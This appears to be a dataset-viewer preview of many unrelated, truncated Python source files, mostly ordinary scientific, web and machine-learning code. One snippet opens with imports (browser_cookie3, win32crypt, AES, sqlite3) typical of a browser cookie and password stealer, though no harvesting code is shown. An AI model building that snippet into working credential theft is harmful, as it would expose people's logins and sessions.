text stringlengths 3.07k 12.6k |
|---|
#!/usr/bin/env python
# coding: utf-8
import sys
sys.path.append('stratipy')
import os
from scipy.io import loadmat, savemat
import scipy.sparse as sp
import numpy as np
import pandas as pd
from numpy import genfromtxt
from nbs_class import Ppi
# NOTE some variable names changed:
# dataFolder -> data_folder
# net -> n... |
# -*- coding: utf-8 -*-
from __future__ import annotations
from collections import defaultdict
from json import dumps
from typing import Iterator
from typing import Optional
import click
from msgspec.json import decode
from msgspec.json import encode
from pioreactor import pubsub
from pioreactor import structs
from ... |
import traceback
from datetime import datetime as dt, timedelta
from concurrent.futures import ThreadPoolExecutor, Future
from time import sleep, perf_counter
import sys
import json
from random import randint
import redis
from flask import Flask, jsonify, render_template, request
from requests.exceptions import Timeou... |
#!/usr/bin/env python
import numpy as np
import scrambler, util
def trainingSequenceFromFreq(ts_freq, reps, ncp):
nfft = ts_freq.size
tilesNeeded = (ncp*reps + nfft-1) // nfft + reps + 1 # +1 for cross-fade
ts = np.fft.ifft(ts_freq)
start = -(ncp*reps) % nfft
return np.tile(ts, tilesNeeded)[start:-... |
import numpy as np
import sys, os
sys.path.append(os.pardir)
from common.util import im2col
from common.util import col2im
from collections import OrderedDict
from common.layers import Relu
from common.layers import Affine
from common.layers import SoftmaxWithLoss
# im2colの使用例
x1 = np.random.rand(1, 3, 7, 7)
col1 = im... |
# (c) Copyright 2020 Hewlett Packard Enterprise Development LP
# @author <NAME>
import pytest
import tests.nimbleclientbase as nimosclientbase
from tests.nimbleclientbase import SKIPTEST, log_to_file as log
from nimbleclient import exceptions
# global variables
protection_template_to_delete = []
protection_schedule_... |
import math
import logging
import wave
from gentle import transcription
from multiprocessing.pool import ThreadPool as Pool
class Transcriber:
def __init__(self, kaldi_queue, chunk_len=20, overlap_t=2):
self.chunk_len = chunk_len
self.overlap_t = overlap_t if overlap_t < chunk_len else max(chunk_... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from utils.lib_ros_rgbd_pub_and_sub import ColorImageSubscriber, DepthImageSubscriber
import numpy as np
import rospy
import numpy as np
import sys
import os
import cv2
import datetime
import argparse
ROOT = os.path.join(os.path.dirname(__file__))
KEY_RECORD_SINGLE_IMAGE... |
from __future__ import absolute_import, unicode_literals
from django.http import HttpResponseRedirect, JsonResponse
from django.utils.functional import cached_property
from django.utils.encoding import smart_text
from django.utils.translation import ugettext_lazy as _
from leonardo import messages
from leonardo impor... |
# coding: utf-8
'''
.. code-block:: bash
unutilized-leases {info, delete}
Deletes leases that do not launch any instances after a period of time
specified by the admin.
* ``info`` to just display leases or actuall delete them with ``delete``
'''
from collections import defaultdict
from datetime import datetime, ... |
import colorsys
import textwrap
class CSSColor:
def __init__(self, red=0, green=0, blue=0):
self.red = red
self.green = green
self.blue = blue
@classmethod
def hex2int(cls, hex_number):
"""Returns the int represented by the hex number string"""
return int(hex_... |
import torch
import torch.nn as nn
import torch.nn.functional as F
class ChannelAttention(nn.Module):
def __init__(self, in_planes, ratio=16):
super(ChannelAttention, self).__init__()
self.avg_pool = nn.AdaptiveAvgPool2d(1)
self.max_pool = nn.AdaptiveMaxPool2d(1)
self.fc1 = nn.Con... |
from unittest import TestCase
from nose.tools import *
import os
import datetime as dt
import mock
from StringIO import StringIO
from phillyleg.management.scraper_wrappers import PhillyLegistarSiteWrapper
from phillyleg.models import *
class Test_LegFile_uniqueWords:
@istest
def FindsUniqueWordsCorrectly(se... |
__all__ = [
'cmd_build',
'cmd_release',
'cmd_unrelease',
]
import json
import logging
from pathlib import Path
import foreman
from g1 import scripts
from g1.bases import argparses
from g1.bases.assertions import ASSERT
import shipyard2
from . import repos
REPO_ROOT_PATH = Path(__file__).parent.parent.... |
# -*- coding: UTF-8 -*-
#TODO: colocar essas especificidades de melhor forma, no pacote borland
import xml.dom.minidom
import string
import re
def replace_param(rc, old, new):
if re.search(r"(\s|^)" + old.replace('$','\$').replace('+','\+') + "(\s|$)", rc):
lista = rc.split()
idx = lista.index(old)
... |
#PCA Analysis Python Code
from mpi4py import MPI #MPI package for cluster analysis
import pandas as pd
import datetime
import numpy as np
from sklearn.decomposition import PCA #PCA Package
import os
import zipfile #read the csv files directly
CONST_INTERVAL=5 #interval in seconds
CONST_BEGINTIME='9:30:00'
CONST_END... |
import os, json, zipfile, io, urllib.request, shutil, glob, subprocess, sys, time, importlib, threading, tempfile, traceback
from urllib.parse import urlparse
from Alpha_SharedFunctions import get_set_root, download, check_cuda, check_cudnn, get_gpu_vendor, compact, get_cuda_ver, create_vsgan_folder
mxurl = "https://... |
import numpy as np
import scipy.stats
import matplotlib.pyplot as plt
from naoqi import ALProxy
robotIP = "192.168.0.115"
from read_data import read_world, read_sensor_data
from matplotlib.patches import Ellipse
#plot preferences, interactive plotting mode
fig = plt.figure()
plt.axis([-1, 12, 0, 10])
plt.ion()
p... |
# Copyright 2020 - 2021 MONAI Consortium
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicable law or agreed to in wri... |
#imports and helper functions
import matplotlib.pyplot as plt
import math
def distance(x,y,xi=0,yi=0):
return ((x-xi)**2+(y-yi)**2)**0.5
def convert_phi_to_rad(phi):
rad=(phi/360)*math.pi*2
return rad
#basic plots
def Volume(phi,r,lambda_s,A):
#the formula to calucate the volume of a cylinder
... |
import torch
class ConvBlock(torch.nn.Module):
def __init__(self, input_size, output_size, kernel_size=3, stride=2, padding=1, activation='relu', batch_norm=True):
super(ConvBlock, self).__init__()
self.conv = torch.nn.Conv2d(input_size, output_size, kernel_size, stride, padding)
self.batch... |
"""The Bosch Smart Home Controller integration."""
import logging
import voluptuous as vol
from boschshcpy import SHCSession, SHCUniversalSwitch
from boschshcpy.exceptions import SHCAuthenticationError, SHCConnectionError
from homeassistant.components.zeroconf import async_get_instance
from homeassistant.config_entrie... |
import shutil
from copy import deepcopy
from nnunet.inference.segmentation_export import save_segmentation_nifti_from_softmax
from batchgenerators.utilities.file_and_folder_operations import *
import numpy as np
from multiprocessing import Pool
from deep_gmm.qda import QDA
from nnunet.postprocessing.connected_componen... |
# Software License Agreement (BSD License)
#
# Copyright (c) 2008, <NAME>, Inc.
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
# * Redistributions of source code must retain the above copyri... |
'''
This module contains NodeType objects, which can be used to start a Stream or as arguments to an .only() function.
If you want to filter on a node not listed here, you can use pass the name of the node type as as string to .only():
birails = Scene().only('birailSrf')
If you want to use a type not listed as t... |
import browser_cookie3, os, re, requests
import json, base64, sqlite3, win32crypt, shutil
from Crypto.Cipher import AES
from datetime import timezone, datetime, timedelta
def get_user():
try:
userhome = os.path.expanduser('~')
return os.path.split(userhome)[-1]
except:
return 'n... |
import numpy as np
import pandas as pd
import timeit
import itertools
from typing import List, IO
from numpy import int8, int64, ndarray
from numpy import uint8 # type: ignore[attr-defined]
import binascii
loops = 1000
t = 0.0 # type:float
# read 10 lines as bytes: 15us (winner)
def readfile1():
# type: () -> Lis... |
import torch
import os
from utils import geo_utils, ba_functions
import numpy as np
def prepare_predictions(data, pred_cam, conf, bundle_adjustment):
# Take the inputs from pred cam and turn to ndarray
outputs = {}
outputs['scan_name'] = data.scan_name
calibrated = conf.get_bool('dataset.calibrated')
... |
import datetime
from hashlib import sha1
from typing import List, Optional, Tuple, Union
from pydantic import BaseModel, Field
from slugify import slugify
from .templating import env, latex_env
from .util import prettify, pretty_page_range
record_types = {
"Article": None,
"Journal": "per",
"Book": "mon"... |
from dataclasses import dataclass
from typing import Optional
import numpy as np
#### NOTE REPRESENTATION MAPPER ####
RANGELESS_NOTES = {
"C":0,
"C#":1,
"Db":1,
"D":2,
"D#":3,
"Eb":3,
"E":4,
"F":5,
"F#":6,
"Gb":6,
"G":7,
"G#":8,
"Ab":8,
"A":9,
"A#":10,
... |
import html
import json
import os.path
import markdown
import feedgen.feed
__all__ = ['generate_html', 'generate_json', 'generate_atom', 'generate_rss']
pretty_service_statuses = {
'up': 'Operational',
'down': 'Unavailable',
'degraded': 'Degraded',
'maintenance': 'Maintenance',
'unknown': 'Unk... |
"""Check if a bugs.python.org issue number is specified in the pull request's title."""
import re
from gidgethub import routing
from . import util
router = routing.Router()
TAG_NAME = "issue-number"
CLOSING_TAG = f"<!-- /{TAG_NAME} -->"
BODY = f"""\
{{body}}
<!-- {TAG_NAME}: bpo-{{issue_number}} -->
https://bugs.p... |
import math
import numpy as np
from scipy.stats import ttest_1samp
from sklearn.ensemble import RandomForestRegressor
def rfcit(y, x, z=None, train_amount=0.3, seed=14, n_reps=3, **fit_args):
"""
Adaption of the Fast Conditional Independence test (FCIT) using Random
Forests. Based on ideas from https://a... |
from pyspark.sql import functions as F
import pyspark
import numpy as np
import sys
def seedClusters(data, k, metric):
centeroids = list(np.random.choice(data.shape[0], 1, replace=False))
for _ in range(k - 1):
distances = []
for i in range(data.shape[0]):
point = data[i, :]
... |
#!/usr/bin/python
# coding: utf8
import logging
import os
import json
from flask import Blueprint, Response, Markup, render_template_string, send_file, make_response
from flask import current_app, _app_ctx_stack
logger = logging.getLogger(__name__)
echarts_bp = Blueprint("echarts", __name__, url_prefix=... |
import pandas as pd
import geopandas as gp
import numpy as np
from shapely.geometry import Point
def to2D(geometry):
"""Flatten a 3D point to 2D.
Parameters
----------
geometry : Point
Input 3D geometry
Returns
-------
Point
Output 2D geometry
"""
return Point(ge... |
# -*- coding: utf-8 -*-
"""
artron.task
~~~~~~~~~~~
artron task management
"""
# standard
import copy
import json
import time
import logging
import traceback
from artron import utils
LOGGER = logging.getLogger(__name__)
class TaskDependenciesError(Exception):
"""Occurs when dependency is missing"""
pass
... |
from django.shortcuts import render, redirect, get_object_or_404
from django.contrib.auth.decorators import login_required
from django.http import HttpResponseRedirect
from django.contrib.auth import login, authenticate
from django.contrib.auth.forms import AuthenticationForm
from django.contrib.auth.models import User... |
# pylint: disable=W,C,R
from __future__ import print_function
from collections import OrderedDict
from errno import EEXIST
from unittest import TestCase
from mock import call, MagicMock, patch
from wotw_blogger import Post
class PostTestCase(TestCase):
def setUp(self):
self.construct_post()
s... |
import numpy as np
import torch
import torch.distributions as dist
from torch import nn
from modules.commons.conv import ConditionalConvBlocks
from modules.commons.normalizing_flow.res_flow import ResFlow
from modules.commons.wavenet import WN
class FVAEEncoder(nn.Module):
def __init__(self, c_in, hidden_size, c... |
"""
Copyright (c) Contributors to the Open 3D Engine Project.
For complete copyright and license terms please see the LICENSE at the root of this distribution.
SPDX-License-Identifier: Apache-2.0 OR MIT
"""
# Test case ID : C15845879
# Test Case Title : Check that linear damping with high values do not make the objec... |
import os
import tempfile
import torch
from pytorch_transformers import BertTokenizer
from onir.interfaces import bert_models
from onir import vocab, util, config
from onir.modules import PrettrBertModel
import tokenizers as tk
@vocab.register('prettr_bert')
class PrettrBertVocab(vocab.Vocab):
@staticmethod
d... |
import time
import argparse
import traceback
import numpy as np
import torch
from torch.utils.data import DataLoader
import networkx as nx
import dgl
from models import MLP, InteractionNet, PrepareLayer
from dataloader import MultiBodyGraphCollator, MultiBodyTrainDataset,\
MultiBodyValidDataset, MultiBodyTestData... |
__all__ = [
"DataContent", "BaseAttached", "AttachedFile", "AttachedTimespan",
"AttachedBlob", "SmartTag"
]
import posixpath
from django.conf import settings
from django.core.files.storage import default_storage
from django.db import models
from django.core.exceptions import ValidationError
from django.utils.... |
# -*- coding: utf-8 -*-
"""
Created on Sat May 22 22:22:30 2021
@author: msantamaria
"""
# Importar las librerías
import numpy as np
import pandas as pd
import torch
import torch.nn as nn
import torch.nn.parallel
import torch.optim as optim
import torch.utils.data
from torch.autograd import Variable
# Importar el d... |
import numpy as np
from math import exp
import copy
def net(W, E):
return np.matmul(W, E)
def fermi(n):
return 1 / (1 + exp(-n))
def fermi_deriv(n):
return fermi(n) * (1 - fermi(n))
def output(W, E, f_act):
return list(map(f_act, net(W, E)))
def calc_d(O_exp, O):
return [o_exp - o for o_ex... |
import os
from discord import Colour,Embed,utils
from discord.ext import commands
from discord_slash import ButtonStyle,SlashContext,cog_ext
from discord_slash.utils.manage_components import create_actionrow,create_button,create_select,create_select_option
class Messages(object):
def __init__(self,obj,bot):
... |
import os
import numpy as np
import torch
import torch.nn as nn
class WordGloveBatcher(object):
def __init__(self, glove_path, fixed_len=None, balance=False):
self.glove_path = glove_path
self.fixed_len = fixed_len
self.balance = balance
self.glove_vectors = {}
def maybe_pad... |
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
"""
Created on Sun Nov 25 17:28:46 2018
@author: paul
"""
import numpy as np
import gc
from eqfm import eqfModel
# =============================================================================
# import your model
# ========================================================... |
"""renameat2 is a wrapper around Linux's `renameat2` system call.
The most likely reason you might want to use renameat2 is to atomically swap
two files; the :func:`exchange` function is for you.
If you just want to rename things with more control than :py:func:`os.rename`,
and/or possibly do some weird overlayfs stu... |
#!/usr/bin/env python
import argparse
import numpy as np
import pandas as pd
import tensorflow as tf
import networkx as nx
from tensorflow.keras.models import load_model
from stellargraph.layer import MeanAggregator, LinkEmbedding
import pickle5 as pkl
from stellargraph import StellarGraph
from stellargraph.mapper imp... |
import os
from pathlib import Path
import time
import numpy as np
import torch
import torch.nn as nn
import torch.nn.functional as F
from torch.utils.data import Dataset, DataLoader
data_dir = Path(os.getcwd()) / '..' / 'data' / 'wikitext-2-raw'
train_path = data_dir / 'wiki.test.raw'
text = open(train_path, encod... |
from flask import Blueprint, Flask, jsonify, redirect, render_template, request, send_file
from flask_assets import Environment
from flask_cors import CORS, cross_origin
from base64 import b64encode
from boto3.dynamodb.conditions import Key, Attr
from decimal import Decimal
from operator import itemgetter
from io impor... |
import time
import os
import glob
import inspect
import gym
import pybullet_envs
from gym.envs.registration import load
from stable_baselines.deepq.policies import FeedForwardPolicy
from stable_baselines.common.policies import register_policy
from stable_baselines.bench import Monitor
from stable_baselines import logg... |
import numpy as np
import pandas as pd
# helper funcs
def expand_boards(d):
"""Returns all boards in the data as arrays of integers as B, W"""
x0 = np.array([d.loc[i,"bp"] if d.loc[i,"color"] == "B" else d.loc[i, "wp"] for i in np.arange(len(d))])
x1 = np.array([d.loc[i,"wp"] if d.loc[i,"color"] == "B" else d.loc[i... |
'''
Programa DNL para analisis de campos en dos dimensiones.
author:@<EMAIL>
El objetivo de este programa es tener herramientas que permitan un analisis rapido
para sistemas de escuaciones de dos dimensiones.
'''
import numpy as np
import matplotlib.pyplot as plt
from numpy import linalg as LA
#Aca se define la fun... |
import logging
import os
import tkinter as tk
import tkinter.ttk as ttk
import typing
from tkinter.filedialog import askopenfilename
from fishy.engine.common.event_handler import IEngineHandler
from fishy.engine.fullautofisher.mode.imode import FullAutoMode
from fishy.helper import helper
from fishy import web
from f... |
"""Test robot."""
from pathlib import Path
import hypothesis
import numpy as np
from hypothesis import given
from hypothesis.extra.numpy import arrays
from hypothesis.strategies import floats
from pytest import raises
from pybotics.errors import PyboticsError
from pybotics.predefined_models import ur10
from pybotics.... |
from flask import Blueprint, request, jsonify, json
from sqlalchemy import func
from auth_service.database import db, User
import jwt
import datetime as dt
auth = Blueprint('auth', __name__)
PASS_KEY = 'JWT-SECRET-PASS'
@auth.route('/login', methods=['POST'])
def login():
json = request.get_json()
email = j... |
from typing import Any, Dict, Sequence, Tuple, Union
import higher
import hydra
import pytorch_lightning as pl
import torch
from omegaconf import DictConfig
from torch.optim import Optimizer
import torch.nn.functional as F
class BaseModel(pl.LightningModule):
def __init__(self, cfg: DictConfig, *args, **kwargs) ... |
# Copyright (c) 2010-2021 openpyxl
from io import BytesIO
from tempfile import NamedTemporaryFile
from zipfile import BadZipfile, ZipFile
from openpyxl.packaging.manifest import Manifest, Override
from openpyxl.packaging.relationship import Relationship
from openpyxl.utils.exceptions import InvalidFileException
from ... |
"""Tests for a JsonFileRunner interface."""
import pytest
from decoy import Decoy
from opentrons.file_runner import JsonFileRunner
from opentrons.file_runner.command_queue_worker import CommandQueueWorker
from opentrons.protocol_engine import ProtocolEngine, WellLocation
from opentrons.protocol_engine.commands import ... |
from __future__ import (absolute_import, division,
print_function, unicode_literals)
import numpy as np
from scipy import stats
from ..utils.utils import make_quant
__all__ = ['Receiver']
class Receiver(object):
"""
Telescope receiver. A :class:`Receiver` must be instantiated with
... |
from plays.actions.drive import Drive, Stop, AdvancedDrive
from plays.play import Play
from rlutilities.linear_algebra import vec3, dot
from rlutilities.simulation import Car
from util.game_info import GameInfo
from util.math import nearest_point, farthest_point, ground_distance, ground_direction, ground, angle_to,di... |
from newsapi import NewsApiClient
import urllib.request
import urllib.parse
import config
import json
endpoints = ['/v2/top-headlines', '/v2/everything', '/v2/sources']
lang = ['ar', 'de', 'en', 'es', 'fr', 'he', 'it', 'nl', 'no', 'pt', 'ru', 'se', 'ud', 'zh']
def selector(query):
if query[:len('news headline i... |
import requests, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
import pandas as pd # Pandas will be the backbone of our data manipulation.
from pandas.io.json import json_normalize
import seaborn as sns # Seaborn is a data visualization library.
import matplotlib as mpl # Matplotlib is ... |
#!/usr/bin/env python3
import argparse
import math
import sys
DEPTH=8
CNTWIDTH = math.ceil(math.log(DEPTH))
PROP = "(= prop_signal__AT{} #b1)"
ARB_NOTINIT = "(= (bvand (bvnot rst__AT1) (bvnot sb.ff_en.Q__AT1) (bvor (bvnot ((_ extract 3 3) sb.mpt.ff_cnt.Q__AT1)) (bvcomp ((_ extract 2 0) sb.mpt.ff_cnt.Q__AT1) #b000)) ... |
# Various utility functions for sub-tasks frequently used by the voxseg module
# Author: <NAME> 2021
import pickle
pickle.HIGHEST_PROTOCOL = 4
import pandas as pd
import numpy as np
import os
import sys
from scipy.io import wavfile
from typing import Iterable, TextIO, Tuple
import warnings
def load(path: str) -> pd.D... |
#! /usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Copyright 2021 <NAME> <<EMAIL>>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unle... |
import asyncio
from discord import Embed, Color, File
from discord import Member, User
from discord.ext import commands
from discord.ext.commands import Context
from motor.motor_asyncio import AsyncIOMotorClient as MongoClient
from typing import Optional, Dict
from web3 import Web3
def meta_embed(meta):
embed =... |
import time
import copy
from typing import Optional
import pathlib
from collections import defaultdict
from torch import Tensor
import yaml
from . import utils
from .common import get_logger, get_tb_writer, expdir_abspath
class Metrics:
"""Record top1, top5, loss metrics, track best so far"""
def __init__(... |
"""Show how to write a custom OpenGL view. This is for advanced users only."""
import numpy as np
from phylib.utils.color import selected_cluster_color
from phy import IPlugin
from phy.cluster.views import ManualClusteringView
from phy.plot.visuals import PlotVisual
class MyOpenGLView(ManualClusteringView):
""... |
#DISCLAIMER:
#This example is purely for research illustrative purposes only.
#Past performance is not indicative of future results.
#Please DO NOT put any money into this strategy.
#The alpaca paper trading mechanism in this script was copied and modified from the Alpaca Sample Algo - 5 Minute EMA Crossover
#The o... |
import random
class DrawTicTacToe:
def __init__(self): # create an empty board
self.board = [" ", " ", " ", " ", " ", " ", " ", " ", " "]
def printboard(self): # print the board
print(""" ... |
# Copyright 2016-2017 IBM Corp. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or... |
from datetime import timedelta as delta
from os import path
from glob import glob
import numpy as np
import dask
import math
import xarray as xr
from netCDF4 import Dataset
import warnings
import matplotlib.pyplot as plt
warnings.simplefilter('ignore', category=xr.SerializationWarning)
from parcels import AdvectionRK4... |
#-*-coding:utf-8-*-
import argparse
import os
from tqdm import tqdm
import numpy as np
import tensorflow as tf
from hparams import hparams, hparams_debug_string
from infolog import log
from tacotron.synthesizer import Synthesizer
#
import torch
from scipy.io.wavfile import write
from melgan_vocoder.model.generator i... |
import pickle
import six
import copy
def is_string(val):
return isinstance(val, six.string_types)
def is_list(val):
return type(val) in (list, tuple)
def is_dict(val):
return isinstance(val, dict)
def make_list(val):
return [val] if not is_list(val) else val
def make_string(val):
return st... |
import pickle
import numpy as np
import tensorflow as tf
# Reads pickled lists containing cleaned data (stored as lists of tokens)
def read_data():
with open('./input/data_pickles/train_list_sentence1.txt', "rb") as file:
train_list_sentence1 = pickle.load(file)
with open('./input/data_pickles/train_... |
#!-*-encoding:utf-8-*-
from scrapy.spiders import Spider
import scrapy
from webspider.items import WooyunItem
from webspider.itemLoaders import WooyunLoader
from scrapy.exceptions import CloseSpider
import datetime
import os
from os.path import dirname
from webspider.settings import TOP_DIR
class WooyunSpider(Spider... |
"""
This module handles client configuration.
See config.py for server configuration.
It contains several functions that are factored to facilitate testing,
but the user-facing functionality is striaghtforward.
"""
import collections
import collections.abc
import os
import sys
import warnings
from functools import lr... |
# Crichton, Admirable Source Configuration Management
# Copyright 2012 British Broadcasting Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licens... |
# Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License").
# You may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unl... |
import enum
from typing import Any, Dict, List, Optional, Union, Set
from ..model import BaseModel
VERSION = "3.0.2"
HeaderType = lambda: Optional[Dict[str, Union[Header, Reference]]]
ExampleType = lambda: Optional[Dict[str, Union[Any, Reference]]]
ContentType = lambda: Optional[Dict[str, MediaType]] # str is mime... |
""" Functionality to get isosurface using marching cubes and store as stentgraph
with seedpoints
Author: <NAME>. Created 2019
Based on https://www.programcreek.com/python/example/88834/skimage.measure.marching_cubes
Other option https://pyscience.wordpress.com/2014/09/11/surface-extraction-creating-a-mesh-from-... |
"""Frame objects that do the frame demarshaling and marshaling."""
import logging
import struct
from . import amqp_object
from . import exceptions
from . import spec
from .compat import byte
LOGGER = logging.getLogger(__name__)
class Frame(amqp_object.AMQPObject):
"""Base Frame object mapping. Defines a behavi... |
import json
import math
import os
import HeidelTime
from bs4 import BeautifulSoup
from tqdm import tqdm
from lib2vec.corpus_structure import Language, ConfigLoader
def get_time_tokens(input_string: str, language: Language):
lan = "english"
if language == Language.DE:
lan = "german"
hw = HeidelTim... |
import datetime
import sys
if (sys.version_info[0] == 2):
from cgi import escape
else:
from html import escape
class LayoutFrame:
"""manages the layout stack"""
CURRENT = None
def __init__(self, parent):
self.children = []
self.parent = parent
@classmethod
def open(cls):... |
import struct
import sys
import textwrap
def reverse_byte(x):
x = ((x & 0x55) << 1) | ((x & 0xAA) >> 1)
x = ((x & 0x33) << 2) | ((x & 0xCC) >> 2)
x = ((x & 0x0F) << 4) | ((x & 0xF0) >> 4)
return x
def reverse_bits(x):
return "".join(["{:02X}".format(reverse_byte(b)) for b in reversed(x)])
def wra... |
# Copyright 2021 DeepMind Technologies Limited
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agr... |
import unittest
import sys
import time
import numpy as num
import copy
from PyQt5.QtWidgets import QApplication, QMainWindow, QHBoxLayout
from PyQt5 import QtGui as qg
from PyQt5 import QtCore as qc
from pytch import gui, plot
# class GUITestCase(unittest.TestCase):
class MainWindowQClose(QMainWindow):
def __ini... |
# pylint: disable=C0321
# pylint: disable=R1705
"""
This example shows how to use face_recognition
with an image database on a webserver Flask framework.
Upload an image to see if it matches the database
Create a static folder and put your images in "images" directory
It will then generate a binary file called "db_out... |
from __future__ import print_function
import logging
import serial
import serial.threaded
import threading
import time
import re
import os
import sys
from messaging.sms import SmsDeliver, SmsSubmit
from enum import Enum
if os.name == 'posix' and sys.version_info[0] < 3:
import subprocess32 as subprocess
else:
imp... |
from __future__ import absolute_import
import textwrap
from pathlib import Path
from typing import Any, Iterable, List, Optional, TypeVar, Union, cast
from rich.console import Group
from rich.padding import Padding
from rich.table import Table # type: ignore (Claims Table is not exported??)
from rich.text import Tex... |
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from __future__ import absolute_import
import argparse
import io
import shutil
from glob import glob
from os.path import join, exists, basename
import os
import srt
from concurrent.futures import ThreadPoolEx... |
# La primera cifra Vigenère
# <NAME>
# Dominio público
"""
Este programa cifra/descifra mensajes mediante la
primera cifra Vigenère tal y como fue presentada en
1568 en la obra: "Traicté des Chiffres".
Usa la tabla recíproca de 10 alfabetos con
sus 20 letras latinas. El resultado también se
muest... |
#!/usr/bin/env python3
import atexit
import base64
import os
import shutil
import signal
import subprocess
import sys
import time
try:
from termcolor import colored
except ModuleNotFoundError:
def colored(text, *args, **kwargs):
return text
signal.signal(signal.SIGINT, signal.SIG_DFL)
@atexit.regis... |
# -*- coding:utf-8 -*-
from __future__ import print_function
from __future__ import division
import xgboost as xgb
from sklearn.model_selection import train_test_split
import time
import logging.handlers
from data_preprocess import *
"""Train the lightGBM model."""
LOG_FILE = 'log/xgb_train.log'
handler = logging.ha... |
# Copyright (C) 2015-2020 ycmd contributors
#
# This file is part of ycmd.
#
# ycmd is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
#... |
import youtube_dl
import discord
from discord.ext import commands
from async_timeout import timeout
import validators
import itertools
import asyncio
import pprint
ytdl_options = {
'format': 'bestaudio/best',
'outtmpl': '%(extractor)s-%(id)s-%(title)s.%(ext)s',
'restrictfilenames': True,
'noplaylist': ... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.